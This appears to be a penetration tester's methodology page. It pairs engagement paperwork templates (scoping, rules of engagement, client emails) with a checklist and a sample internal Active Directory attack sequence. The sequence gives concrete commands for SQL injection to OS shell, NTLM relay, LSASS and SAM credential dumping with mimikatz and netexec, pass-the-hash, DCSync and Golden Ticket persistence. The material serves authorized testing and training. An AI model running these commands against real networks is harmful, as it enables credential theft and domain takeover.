2 - Pre-Engagement

Checklist

This page is the master checklist where sections can be embedded into the relevant doc pages (e.g. Active Directory) via embed-section (custom Hugo shortcode for this website).

Host Discovery & ARP

  • 1. Passive Listen (Responder / tcpdump) (Run Responder in passive mode or tcpdump to observe broadcast traffic, discover hosts, and passively collect credentials before any active scanning)
  • 2. Interface & Subnet Mapping (Identify your own IP and CIDR via ip a or ipconfig to define the scope)
  • 3. Passive Neighbor Discovery (Check the local ARP cache via arp -a or ip neigh to see connected peers)
  • 4. Active Host Discovery (Run nmap -sn <CIDR> or netdiscover to sweep the subnet via ARP/ICMP)
  • 5. Role Identification (Scan live hosts for specific ports like 88/445/389 to distinguish DCs from workstations)

DNS

  • 1. Server Recon & Zone Transfer (Identify Nameservers, Bind version, and attempt dig axfr or dig any for a full dump)
  • 2. Record Enumeration (Query standard types A, MX, TXT, SRV, and run Reverse DNS/PTR against IP ranges)
  • 3. Subdomain Discovery (Combine passive cert transparency logs via crt.sh with active bruteforcing via gobuster/puredns)
  • 4. Vulnerability Analysis (Check for dangling CNAMEs for Domain Takeover, and monitor LLMNR/NBT-NS if internal)

SMB

  • 1. Anonymous Access & Share Listing (Attempt a null session via smbclient -L <IP> -N or crackmapexec smb <IP> --shares to list shares without credentials)
  • 2. Comprehensive Enumeration (Run enum4linux-ng -A <IP> to automatically dump users, groups, OS info, and password policies)
  • 3. Share Content Inspection (Mount accessible shares or use smbclient to browse directories for sensitive files, scripts, or backups)
  • 4. Security Posture Check (Use nmap --script=smb-security-mode to verify if SMB signing is required, which is critical for preventing relay attacks)

Web

  • 1. Technology & Security Fingerprinting (Use whatweb and nikto to identify the server, frameworks, and WAF, and curl to inspect headers and robots.txt)
  • 2. Content & vHost Discovery (Run feroxbuster or gobuster dir to bruteforce directories/files, and gobuster vhost to find hidden virtual hosts)
  • 3. Automated Vulnerability Scanning (Use nikto or wapiti to scan for common misconfigurations and known vulnerabilities like outdated software)
  • 4. Manual Application Testing (OWASP Top 10) (After automated scans, manually inspect the application for logical flaws, focusing on Injection, Broken Access Control, and XSS)

SQL

If these steps fail, the target is likely not vulnerable via automation.

Phase 1: Injection & Tuning

  • Manual Triage (Burp): Confirm “True” vs “False” response size manually. Never run SQLMap blind.
  • The Setup: Save request to req.txt. Mark injection point with *. (sqlmap -r req.txt --batch)
  • The Unlocker (Tuning): Logic (OR) or Brackets ()))) failing? (--level 5 --risk 3)
  • The Syntax Fix: SQLMap guessing wrong boundaries? (--prefix="')" - Match your Burp findings).
  • The Speedup: Time-based checks taking forever? (--technique=BEU - Force Boolean/Error/Union only).

Phase 2: Stability & Evasion

  • The Hallucination Fix: “2 letters off” or garbage data? (--string="SuccessMsg" or --text-only).
  • The Bypass: WAF blocking or 403s? (--random-agent --tamper=space2comment --skip-waf).

Phase 3: Loot & Shells

  • The Recon: Check privileges immediately. (--is-dba --current-db).
  • The Dump: Surgical extraction (Don’t dump the world). (-D <DB> -T <TABLE> -C <USER,PASS> --dump).
  • The Endgame (RCE): DBA is True? (--os-shell (Add --technique=E if empty) OR --file-write="shell.php").

Troubleshooting (Panic Modifiers) Add these to The Dump if injection exists but data fails to extract.

  • --union-cols=X: Manually set column count (if SQLMap counts wrong).
  • --no-cast: Disable payload casting (Fixes specific DB errors).
  • --hex: Encode data extraction (Bypasses WAF filters on output).

Active Directory

  • 1. Domain & Network Identification (Identify DC IP, Domain Name, Ports 53/88/389/445, net config workstation)
  • 2. User Enumeration (Build target list via Kerbrute, RID Cycling, or net user /domain)
  • 3. Initial Credential Acquisition (Run Responder for LLMNR/NBT-NS poisoning, check AS-REP Roasting)
  • 4. BloodHound Collection & Analysis (Run SharpHound, upload data, analyze “Shortest Paths” and “High Value Targets”)
  • 5. Service & Misconfiguration Hunting (Kerberoasting TGS, check SYSVOL/GPP for passwords, DNS/Printer Bug checks)
  • 6. ACL & Object Rights Analysis (Check for “Dangerous Rights” like GenericAll/WriteDACL via PowerView or BloodHound)
  • 7. Certificate Services (ADCS) Check (Enumerate vulnerable templates, Shadow Credentials/PyWhisker, Pass-the-Certificate)
  • 8. Access & Admin Validation (Check Local Admin rights, test RDP/WinRM access, verify “Double Hop” status)
  • 9. Lateral Movement (Execute Pass-the-Hash, Pass-the-Ticket, or Overpass-the-Hash to pivot)
  • 10. Domain Dominance (Perform DCSync to dump NTDS.dit, create Golden Tickets, enumerate Trusts)

Penetration Test: Pre-Engagement Template

1. Project Metadata

  • Client Name: [Client Name]
  • Project Name: [Project Name / Engagement Title]
  • Date Created: [YYYY-MM-DD]
  • Start Date: [YYYY-MM-DD]
  • End Date: [YYYY-MM-DD]

Key Personnel

  • Primary Client Contact: [Name, Title, Email, Phone]
  • Secondary Client Contact: [Name, Title, Email, Phone]
  • Technical Support Contact: [Name, Title, Email, Phone]
  • Signatory Authority: [Name, Title]
  • Lead Penetration Tester: [Your Name]

2. Master Document Checklist

  • 1. Non-Disclosure Agreement (NDA)

    • Status: [Pending | Signed]
    • Notes:

  • 2. Scoping Questionnaire

    • Status: [Sent | Received | Reviewed]
    • Notes:

  • 3. Scoping Document

    • Status: [Drafting | Finalized]
    • Notes:

  • 4. Penetration Testing Proposal (Contract/SoW)

    • Status: [Drafting | Sent | Signed]
    • Notes:

  • 5. Rules of Engagement (RoE)

    • Status: [Drafting | Finalized | Signed]
    • Notes:

  • 6. Contractors Agreement (Physical Assessments)

    • Status: [N/A | Required | Signed]
    • Notes:

  • 7. Reports

    • Status: [In Progress | Delivered]
    • Notes:

3. Scoping Questionnaire

Assessment Type(s) Required

  • Internal Vulnerability Assessment
  • External Vulnerability Assessment
  • Internal Penetration Test
  • External Penetration Test
  • Wireless Security Assessment
  • Application Security Assessment
  • Physical Security Assessment
  • Social Engineering Assessment
  • Red Team Assessment
  • Web Application Security Assessment

Notes on specific requirements (e.g., black box, evasiveness, vishing):

Critical Scoping Information

  • How many expected live hosts?

    Answer:

  • How many IPs/CIDR ranges in scope?

    Answer:

  • How many Domains/Subdomains are in scope?

    Answer:

  • How many wireless SSIDs in scope?

    Answer:

  • How many web/mobile applications? Authenticated roles?

    Answer:

  • For phishing: how many users targeted? List provided?

    Answer:

  • For physical assessment: how many locations? Geographically dispersed?

    Answer:

  • Objective of the Red Team Assessment? Out of scope activities?

    Answer:

  • Is a separate Active Directory Security Assessment desired?

    Answer:

  • Will network testing be anonymous or as a standard domain user?

    Answer:

  • Do we need to bypass Network Access Control (NAC)?

    Answer:

Information Disclosure & Evasiveness

  • Information Disclosure Level:

    • Black Box (no information provided)
    • Grey Box (IPs/URLs provided)
    • White Box (detailed information provided)

  • Evasiveness Level:

    • Non-Evasive
    • Hybrid-Evasive (start quiet, get louder)
    • Fully Evasive

4. Contract / Scope of Work (SoW) Checklist

  • NDA:

    • A secrecy contract between the client and contractor.
    • Notes:

  • Goals:

    • High-level and fine-grained milestones to be achieved.
    • Notes:

  • Scope:

    • Individual components to be tested (domains, IPs, specific accounts).
    • Notes:

  • Penetration Testing Type:

    • The chosen type of test (e.g., Internal, External, Web App).
    • Notes:

  • Methodologies:

    • Examples: OSSTMM, OWASP, PTES.
    • Notes:

  • Penetration Testing Locations:

    • External (Remote via VPN) and/or Internal.
    • Notes:

  • Time Estimation:

    • Start and end dates for the entire engagement and for specific phases (Exploitation, Post-Ex). Testing hours (during/after business hours).
    • Notes:

  • Third Parties:

    • Any cloud providers, ISPs, or hosting providers involved. Written consent must be obtained from them by the client.
    • Notes:

  • Evasive Testing:

    • Clarify if techniques to evade security systems are in scope.
    • Notes:

  • Risks:

    • Inform the client of potential risks (e.g., system instability, locked accounts).
    • Notes:

  • Scope Limitations & Restrictions:

    • Which servers, workstations, or network components are critical and must be avoided.
    • Notes:

  • Information Handling:

    • Compliance requirements (e.g., HIPAA, PCI, NIST).
    • Notes:

  • Contact Information:

    • A full list of contacts and an escalation priority order.
    • Notes:

  • Lines of Communication:

    • E-mail, phone calls, personal meetings.
    • Notes:

  • Reporting:

    • Structure of the report, customer-specific requirements, and presentation plans.
    • Notes:

  • Payment Terms:

    • Prices and terms of payment.
    • Notes:

5. Rules of Engagement (RoE) Checklist

  • Introduction: Description of the RoE document.
  • Contractor: Company name, key contacts.
  • Penetration Testers: Names of testers.
  • Contact Information: Full contact details for all parties.
  • Purpose: Purpose of the penetration test.
  • Goals: Goals to be achieved.
  • Scope: All IPs, domains, URLs, CIDR ranges.
  • Lines of Communication: E-mail, phone, etc.
  • Time Estimation: Start and end dates.
  • Time of the Day to Test: Specific testing hours.
  • Penetration Testing Type: The specific type of test.
  • Penetration Testing Locations: How the connection to the client network is established.
  • Methodologies: OSSTMM, PTES, OWASP, etc.
  • Objectives / Flags: Specific users, files, or information to target.
  • Evidence Handling: Encryption and secure protocols for handling evidence.
  • System Backups: Acknowledgment of client’s backup procedures.
  • Information Handling: Strong data encryption requirements.
  • Incident Handling and Reporting: Process for emergency contact and test interruptions.
  • Status Meetings: Frequency, dates, times, and attendees.
  • Reporting: Type, target readers, and focus of the final report.
  • Retesting: Start and end dates for retesting patched vulnerabilities.
  • Disclaimers and Limitation of Liability: System damage, data loss.
  • Permission to Test: Confirmation of signed contract.

6. Kick-Off Meeting Agenda

  • Attendees:
    • [List of Client POCs]
    • [List of Client Technical Staff]
    • [List of Pentesting Team Members]
  • Agenda Items:
    • Review nature and scope of the penetration test.
    • Confirm Rules of Engagement (RoE).
    • Define “Critical Vulnerability” and the process for immediate notification (e.g., for unauthenticated RCE).
    • Discuss potential risks (log entries, alarms, accidental account lockouts).
    • Explain the full penetration testing process in a clear, non-technical way.
    • Confirm client’s goals and priorities.
    • Open floor for Q&A.

7. Physical Assessment Addendum

  • Introduction
  • Contractor
  • Purpose
  • Goal
  • Penetration Testers
  • Contact Information
  • Physical Addresses
  • Building Name
  • Floors
  • Physical Room Identifications
  • Physical Components
  • Timeline
  • Notarization
  • Permission to Test (“Get Out of Jail Free Card”)

Pre-Engagement

Evidence Collection

  • Centralize Project Data: Maintain one place for scope (IPs/URLs), client contacts, Rules of Engagement (RoE), and a running to-do list.
  • Document the Attack Path: As you move through the network, document the full chain of exploits with raw command output and screenshots.
  • Maintain a Credential Log: Keep a separate, centralized list of all compromised credentials, keys, and secrets.
  • Isolate Findings: Create a dedicated folder/note for each distinct vulnerability. Write the narrative and save evidence as you discover it, not after.
  • Track Payloads & Modifications: Keep a log of all uploaded payloads (with file hashes and paths) and any system modifications made (accounts created, settings changed, timestamps, host IPs).
  • Get Approval for Destructive Actions: Always get written client approval before making system changes or running tests that could impact stability.
    • For any big changes always save:
      • IP address of the host(s)/hostname(s) where the change was made
      • Timestamp of the change
      • Description of the change
      • Location on the host(s) where the change was made
      • Name of the application or service that was tampered with
      • Name of the account (if you created one) and perhaps the password in case you are required to surrender it
  • Prioritize Terminal Output: Use raw text from your terminal over screenshots. It’s easier to redact, format, and allows clients to copy-paste commands. Use <SNIP> for brevity but never alter the output.
  • Redact Securely:
    • Use solid black boxes to redact PII and credentials, not blur or pixelation (which can be reversed).
    • Burn redactions directly into the image file itself, not as a shape overlay in a Word document.
  • Handle Sensitive Data Safely: Do not exfiltrate raw PII. Screenshot directory listings instead of downloading sensitive files to prove access.

Collection Structure

Also see [[tmux]] and use tmux logging to automatically collect the terminal output.

mkdir -p {Admin,Deliverables,Evidence/{Findings,Scans/{Vuln,'Service Enum','Web Enum','AD Enum'},Notes,OSINT,'Log Output','Misc Files'},Retest}
  • Admin
    • Scope of Work (SoW) that you’re working off of, your notes from the project kickoff meeting, status reports, vulnerability notifications, etc
  • Deliverables
    • Folder for keeping your deliverables as you work through them. This will often be your report but can include other items such as supplemental spreadsheets and slide decks, depending on the specific client requirements.
  • Evidence
    • Findings
      • We suggest creating a folder for each finding you plan to include in the report to keep your evidence for each finding in a container to make piecing the walkthrough together easier when you write the report.
    • Scans
      • Vulnerability scans
        • Export files from your vulnerability scanner (if applicable for the assessment type) for archiving.
      • Service Enumeration
        • Export files from tools you use to enumerate services in the target environment like Nmap, Masscan, Rumble, etc.
      • Web
        • Export files for tools such as ZAP or Burp state files, EyeWitness, Aquatone, etc.
      • AD Enumeration
        • JSON files from BloodHound, CSV files generated from PowerView or ADRecon, Ping Castle data, Snaffler log files, CrackMapExec logs, data from Impacket tools, etc.
    • Notes
      • A folder to keep your notes in.
    • OSINT
      • Any OSINT output from tools like Intelx and Maltego that doesn’t fit well in your notes document.
    • Wireless
      • Optional if wireless testing is in scope, you can use this folder for output from wireless testing tools.
    • Logging output
      • Logging output from Tmux, Metasploit, and any other log output that does not fit the Scan subdirectories listed above.
    • Misc Files
      • Web shells, payloads, custom scripts, and any other files generated during the assessment that are relevant to the project.
  • Retest
    • This is an optional folder if you need to return after the original assessment and retest the previously discovered findings. You may want to replicate the folder structure you used during the initial assessment in this directory to keep your retest evidence separate from your original evidence.

Client Communication

Send start notification email including information such as:

  • Tester name
  • Description of the type/scope of the engagement
  • Source IP address for testing (public IP for an external attack host or the internal IP of our attack host if we are performing an Internal Penetration Test)
  • Dates anticipate for testing
  • Primary and secondary contact information (email and phone)

At the end of each day, we should send a stop notification to signal the end of testing

Email Template

Subject: External Penetration Test - Start of Testing
From:
To:
Cc:
Date: Mon 6/20/2022 8:29AM

Good Morning,

This email is to notify you that the External Penetration Test against <COMPANY>'s internet-facing network assets has begun. All testing traffic will originate from the following IP address:
<TARGETS>

While we do not anticipate service disruptions during testing, if any issues arise, please do not hesitate to reach out via the cell phone number or email address in my signature line.

If I am unavailable for any reason, the secondary contact for this engagement will be:

<NAME>
<TITLE>
<PHONE>
<EMAIL>

As discussed during the kickoff call, I will send out a vulnerability notification for any high-risk vulnerabilities uncovered against internet-facing hosts. The assessment will begin with manual and automated information gathering and enumeration scans, then proceed to manual testing and validation of scan results.


Thank you, and I look forward to a productive assessment.

Regards,
<NAME>
<TITLE> | <COMPANY>
<PHONE>
<WEBSITE>
<EMAIL>

Baseline Tracking of Technological Assets

Diagrams.net: https://app.diagrams.net/

  • DNS records, network device backups, and DHCP configurations
  • Full and current application inventory
  • A list of all enterprise hosts and their location
  • Users who have elevated permissions
  • A list of any dual-homed hosts (2+ network interfaces)
  • Keeping a visual network diagram of your environment

People, Processes, and Technology

Processes

  • Proper policies and procedures for asset monitoring and management
    • Host audits, the use of asset tags, and periodic asset inventories can help ensure hosts are not lost
  • Access control policies (user account provisioning/de-provisioning), multi-factor authentication mechanisms
  • Processes for provisioning and decommissioning hosts (i.e., baseline security hardening guideline, gold images)
  • Change management processes to formally document who did what and when they did it

Perimeter First

  • What exactly are we protecting?
  • What are the most valuable assets the organization owns that need securing?
  • What can be considered the perimeter of our network?
  • What devices & services can be accessed from the Internet? (Public-facing)
  • How can we detect & prevent when an attacker is attempting an attack?
  • How can we make sure the right person &/or team receives alerts as soon as something isn’t right?
  • Who on our team is responsible for monitoring alerts and any actions our technical controls flag as potentially malicious?
  • Do we have any external trusts with outside partners?
  • What types of authentication mechanisms are we using?
  • Do we require Out-of-Band (OOB) management for our infrastructure. If so, who has access permissions?
  • Do we have a Disaster Recovery plan?

Internal Considerations

  • Are any hosts that require exposure to the internet properly hardened and placed in a DMZ network?
  • Are we using Intrusion Detection and Prevention systems within our environment?
  • How are our networks configured? Are different teams confined to their own network segments?
  • Do we have separate networks for production and management networks?
  • How are we tracking approved employees who have remote access to admin/management networks?
  • How are we correlating the data we are receiving from our infrastructure defenses and end-points?
  • Are we utilizing host-based IDS, IPS, and event logs?

3rd Parties Infrastructure

Sensitive Data Regulations

Sample Engagement

Phase 1: Initial Reconnaissance & Network Mapping

  • Host Discovery: Perform a quick Nmap scan to identify live hosts and common services.
    • nmap -T4 -p 21,22,23,53,80,139,443,445,3389 --open -iL <scope.txt> -oG nmap_quick
  • Web Service Screenshotting: Use gowitness or EyeWitness on discovered web ports (80, 443, 8080, etc.) to visually identify interesting applications.
    • gowitness nmap -f nmap_quick
  • Full Port Scan: Run a comprehensive Nmap scan in the background on all live hosts to discover non-standard services.
    • nmap -T4 -p- -sV -sC -iL <live_hosts.txt> -oA nmap_full
  • Vulnerability Scanning: Run a Nessus (or equivalent) authenticated scan.
    • Note: This is primarily for the client’s benefit to identify patching gaps. Exploits from this are secondary to credential-based attacks.
  • Identify Relay Targets: Use netexec to find hosts with SMB signing disabled, creating a target list for relay attacks.
    • nxc smb <CIDR> --gen-relay-list smb_relay_targets.txt

Phase 2: Initial Access & Foothold

  • LLMNR/NBT-NS Poisoning: Start Responder to poison local name resolution and capture NTLMv2 hashes from hosts on the same broadcast domain.
    • responder -I <interface> -dwPv
  • NTLM Relay Attack: In parallel with Responder, run Impacket’s ntlmrelayx.py to relay captured hashes to the list of SMB-signing-disabled hosts. The goal is to execute a command or dump local hashes.
    • ntlmrelayx.py -tf smb_relay_targets.txt -smbsupport -c "whoami"
  • AD CS Enumeration (Critical): Use Certipy to find vulnerable certificate templates in Active Directory Certificate Services. This is a primary vector for privilege escalation.
    • certipy find -u '<user>' -p '<password>' -dc-ip <DC_IP> -vulnerable
  • Anonymous Enumeration: Check for anonymous access to SMB shares and LDAP.
    • nxc smb <CIDR> -u '' -p '' --shares
  • Offline Password Cracking: Use Hashcat on any captured NTLMv2 hashes. A successful crack provides the first set of valid user credentials.
    • hashcat -m 5600 hashes.txt /path/to/wordlist.txt

Phase 3: Post-Compromise Situational Awareness

At this point, we assume a valid user credential (username/password or hash) has been acquired.

  • BloodHound Data Collection: Run the SharpHound ingestor to collect AD data. This is the most critical step to visualize attack paths.
    • SharpHound.exe -c All
  • Kerberoasting: Use Rubeus or Impacket’s GetUserSPNs.py to request service tickets (TGS) for accounts with Service Principal Names (SPNs). Attempt to crack these offline with Hashcat.
    • Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
  • Enumerate User Privileges: Use netexec with the obtained credential to determine where the user has local administrator rights.
    • nxc smb <CIDR> -u '<user>' -p '<password>' --local-auth
  • Host-Based Enumeration: On any system where you have access (even as a low-privilege user), run situational awareness tools like Seatbelt to find sensitive data, saved browser credentials, or misconfigurations.
    • Seatbelt.exe -group=all

Phase 4: Privilege Escalation & Lateral Movement

  • Pivoting with Admin Rights: If the user has local admin rights on a machine, pivot to it.
  • Credential Dumping: Dump credentials from the compromised machine’s memory (LSASS) and SAM database.
    • nxc smb <target_IP> -u '<user>' -p '<password>' --local-auth -M lsassy
    • nxc smb <target_IP> -u '<user>' -p '<password>' --local-auth --sam
  • Pass-the-Hash: Use the dumped local administrator hash to move laterally to other workstations, leveraging the common practice of local admin password reuse.
    • nxc smb <CIDR> -u Administrator -H <ntlm_hash> --local-auth
  • Analyze BloodHound Data: Ingest the collected data into the BloodHound UI. Look for:
    • Shortest paths to Domain Admins.
    • Users with dangerous rights (GenericAll, WriteDACL) over other objects.
    • Domain Admins logged into workstations where you now have local admin access.

Phase 5: Domain Dominance

  • Targeting Domain Admin Sessions: Using BloodHound, identify a workstation where a Domain Admin is logged in and you have local admin rights.
  • DA Credential Extraction: Pivot to that machine and dump credentials from LSASS. Capturing a DA’s ticket or hash from memory is often the final step.
    • mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
  • Process Injection (If Needed): If credentials are not in LSASS but the DA is logged on, gain an interactive shell and inject into a process owned by the DA to inherit their permissions.
  • DCSync: Once DA-equivalent privileges are obtained, use Impacket’s secretsdump.py or mimikatz to perform a DCSync attack, dumping all NTLM hashes from the Domain Controller.
    • secretsdump.py <domain>/<DA_user>:<password>@<DC_IP> -just-dc-ntlm
  • Persistence: Create a Golden Ticket using the krbtgt hash obtained from the DCSync to maintain persistent access to the entire domain.